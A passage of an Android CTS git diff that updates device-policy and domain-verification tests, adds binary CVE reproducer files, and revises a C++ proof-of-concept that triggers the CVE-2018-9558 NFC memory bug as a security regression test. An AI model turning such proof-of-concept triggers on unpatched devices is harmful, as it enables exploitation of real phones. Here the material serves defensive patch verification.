- private static int checkPermissionAndAppOps(String permission, String packageName)
- throws Exception {
- PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
- if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+ /**
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+ */
+ public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+ String packageName) throws Exception {
+ assertPermission(permission, packageName,
+ checkPermissionAndAppOps(context, permission, packageName), expected);
+ }
+
+ private static int checkPermissionAndAppOps(Context context, String permission,
+ String packageName) throws Exception {
+ Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+ + ", permission=" + permission + ", packageName=" + packageName);
+ PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+ if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
== PERMISSION_DENIED) {
return PERMISSION_DENIED;
}
- AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+ AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
AppOpsManager.permissionToOp(permission), packageName,
packageInfo.applicationInfo.uid, null, null)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@
executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
}
+ protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+ String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+ return result != null && !result.isEmpty();
+ }
+
private void executeDeviceOwnerPackageTestMethod(String className, String testName,
int userId) throws Exception {
runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 994fe8a..b0fb7a1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
private static final String FEATURE_CAMERA = "android.hardware.camera";
private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
private static final String FEATURE_LEANBACK = "android.software.leanback";
private static final String FEATURE_NFC = "android.hardware.nfc";
private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
private static final String FEATURE_PRINT = "android.software.print";
private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -1260,9 +1260,15 @@
allowTestApiAccess(deviceAdminPkg);
}
- protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
- CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
- executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+ /**
+ * Grants access to APIs marked as {@code @TestApi}.
+ *
+ * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+ * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+ */
+ protected void allowTestApiAccess(String pgkName) throws Exception {
+ CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+ executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
}
protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1341,6 +1347,10 @@
return hasDeviceFeature(FEATURE_LEANBACK);
}
+ boolean isAutomotive() throws DeviceNotAvailableException {
+ return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+ }
+
void pushUpdateFileToDevice(String fileName)
throws IOException, DeviceNotAvailableException {
File file = File.createTempFile(
@@ -1366,7 +1376,7 @@
}
void sleep(int timeMs) throws InterruptedException {
- CLog.d("Sleeping %d ms");
+ CLog.d("Sleeping %d ms", timeMs);
Thread.sleep(timeMs);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 075d422..c6f86b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -474,10 +474,12 @@
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
+ int userId = getUserIdForAlwaysOnVpnTests();
// Will be uninstalled in tearDown().
- installAppAsUser(VPN_APP_APK, mUserId);
+ installAppAsUser(VPN_APP_APK, userId);
assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+ userId);
}, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings(VPN_APP_PKG)
@@ -555,6 +557,10 @@
@Test
public void testPermissionGrantPreMApp() throws Exception {
installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+ if (isHeadlessSystemUserMode()) {
+ installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+ }
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
}
@@ -606,65 +612,11 @@
@Test
public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+ // Needed to access dpm.getPolicyExemptApps()
+ allowTestApiAccess(DEVICE_ADMIN_PKG);
executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
}
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
@Test
public void testDelegatedCertInstaller() throws Exception {
installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -1268,8 +1220,6 @@
}
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
- reason = "Will be migrated to new test infra")
@Test
public void testSetKeyPairCertificateLogged() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -1333,6 +1283,16 @@
@Test
public void testPasswordMethodsLogged() throws Exception {
+ if (isAutomotive()) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setInt(0x50000)
+ .setBoolean(false)
+ .build());
+ return;
+ }
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1770,7 +1730,12 @@
protected void installAppPermissionAppAsUser()
throws FileNotFoundException, DeviceNotAvailableException {
- installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+ installAppPermissionAppAsUser(mUserId);
+ }
+
+ protected final void installAppPermissionAppAsUser(int userId)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ installAppAsUser(PERMISSIONS_APP_APK, false, userId);
}
private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 17c2d48..b9e21f4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@
executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
}
+ @Test
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ assumeCanStartNewUser();
+
+ // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+ // user, so the test is retrying until it gets it, which is done in this thread - not the
+ // best approach, but given that the test cases are being migrated to the new infra,
+ // it's good enough enough...
+ int waitingTimeMs = 5_000;
+ final int maxAttempts = 10;
+ new Thread(() -> {
+ int attempt = 0;
+ boolean granted = false;
+ while (!granted && ++attempt <= maxAttempts) {
+ try {
+ List<Integer> newUsers = getUsersCreatedByTests();
+ if (!newUsers.isEmpty()) {
+ for (int userId : newUsers) {
+ CLog.i("Checking if user %d is current user", userId);
+ int currentUser = getCurrentUser();
+ if (currentUser != userId) continue;
+ CLog.i("Checking if user %d has the package", userId);
+ if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+ grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+ userId, "to call isNewUserDisclaimerAcknowledged() and "
+ + "acknowledgeNewUserDisclaimer()");
+ granted = true;
+ }
+ }
+
+ if (!granted) {
+ CLog.i("Waiting %dms until new user is switched and package installed "
+ + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+ }
+ sleep(waitingTimeMs);
+ } catch (Exception e) {
+ CLog.e(e);
+ return;
+ }
+ }
+ CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+ Thread.currentThread(), granted, attempt);
+ }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+ executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+ }
+
@FlakyTest(bugId = 126955083)
@Test
public void testUserAddedOrRemovedBroadcasts() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 75af1c8..c3345b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@
import org.junit.Ignore;
import org.junit.Test;
+import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
@@ -88,6 +89,16 @@
super.tearDown();
}
+ @Override
+ protected void installAppPermissionAppAsUser()
+ throws FileNotFoundException, DeviceNotAvailableException {
+ super.installAppPermissionAppAsUser();
+
+ if (isHeadlessSystemUserMode()) {
+ installAppPermissionAppAsUser(mDeviceOwnerUserId);
+ }
+ }
+
@Test
public void testLockTask_unaffiliatedUser() throws Exception {
assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@
userId);
}
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegation() throws Exception {
+ super.testDelegation();
+ }
+
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegationCertSelection() throws Exception {
+ super.testDelegationCertSelection();
+ }
+
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
@Test
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ @Override
+ public void testDelegatedCertInstaller() throws Exception {
+ super.testDelegatedCertInstaller();
+ }
+
@FlakyTest(bugId = 141161038)
@Override
@Test
@@ -140,22 +176,6 @@
executeDeviceTestClass(".AdminConfiguredNetworksTest");
}
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- super.testAccountManagement_userRestrictionAddAccount();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- super.testAccountManagement_userRestrictionRemoveAccount();
- }
-
@Test
public void testSetTime() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -501,52 +521,48 @@
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testKeyManagement() throws Exception {
- super.testKeyManagement();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testGenerateKeyPairLogged() throws Exception {
- super.testGenerateKeyPairLogged();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testDelegatedCertInstallerDirectly() throws Exception {
- super.testDelegatedCertInstallerDirectly();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyGrant() throws Exception {
- super.testSetKeyGrant();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyPairCertificateLogged() throws Exception {
- super.testSetKeyPairCertificateLogged();
- }
-
- @Override
- @Test
@IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
public void testSetKeyguardDisabledFeatures() throws Exception {
super.testSetKeyguardDisabledFeatures();
}
@Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionAppUpdate() throws Exception {
+ super.testPermissionAppUpdate();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionMixedPolicies() throws Exception {
+ super.testPermissionMixedPolicies();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionPolicy() throws Exception {
+ super.testPermissionPolicy();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+ super.testAutoGrantMultiplePermissionsInGroup();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+ throws Exception {
+ super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+ }
+
+ @Override
public void testApplicationHidden() throws Exception {
if (isHeadlessSystemUserMode()) {
// Must run on user 0 because the test has a broadcast receiver that listen to packages
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS Input Method Service host test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
srcs: [ "src/**/*.kt" ],
test_suites: [
"cts",
+ "gts",
"device-tests",
],
defaults: ["cts_defaults"],
- sdk_version: "test_current",
+ min_sdk_version: "4",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.packagemanager.verify.domain.device.standalone"
- >
+ xmlns:tools="http://schemas.android.com/tools"
+ package="com.android.cts.packagemanager.verify.domain.device.standalone"
+ >
+
+ <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+ tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+ />
<application android:label="Device Test App" android:testOnly="true">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5..17cfa19 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS domain verification device standalone test cases">
<option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..9401443a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
package com.android.cts.packagemanager.verify.domain.device.standalone
import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
import com.android.compatibility.common.util.SystemUtil
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@
@RunWith(Parameterized::class)
class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
+ companion object {
+ @JvmStatic
+ @BeforeClass
+ fun assumeAtLeastS() {
+ assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+ }
+ }
+
@Test
fun launchVerified() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun launchSelectedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenVerifiedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenSelectedPreservedOnUpdate() {
setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
name: "CtsDomainVerificationAndroidConstantsLibrary",
defaults: ["cts_defaults"],
srcs: ["src/**/*.kt"],
+ min_sdk_version: "31",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
],
// Must match the package name in CtsTestCaseList.mk
libs: [
- "cts-tradefed",
- "tradefed",
"compatibility-host-util",
+ "cts-tradefed",
+ "sts-host-util",
+ "tradefed",
],
}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 0000000..1f95af0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..8494e2c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
#define INITIAL_VALUE 0xBE
#define NUM_BYTES 1
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@
}
int main() {
- tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
- rw_init();
- rw_cb.p_cback = &poc_cback;
- p_t2t->state = RW_T2T_STATE_DETECT_TLV;
- p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
- p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
- p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
- p_t2t->bytes_count = NUM_BYTES;
- p_t2t->tlv_value[1] = UINT8_MAX;
- uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
- memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
- uint8_t data[T2T_READ_DATA_LEN];
- rw_t2t_handle_rsp(data);
- return EXIT_SUCCESS;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = NUM_BYTES;
+ p_t2t->tlv_value[1] = UINT8_MAX;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+ memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+ uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
+ rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index bcbf54f..78f51bd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -20,7 +20,23 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2012",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
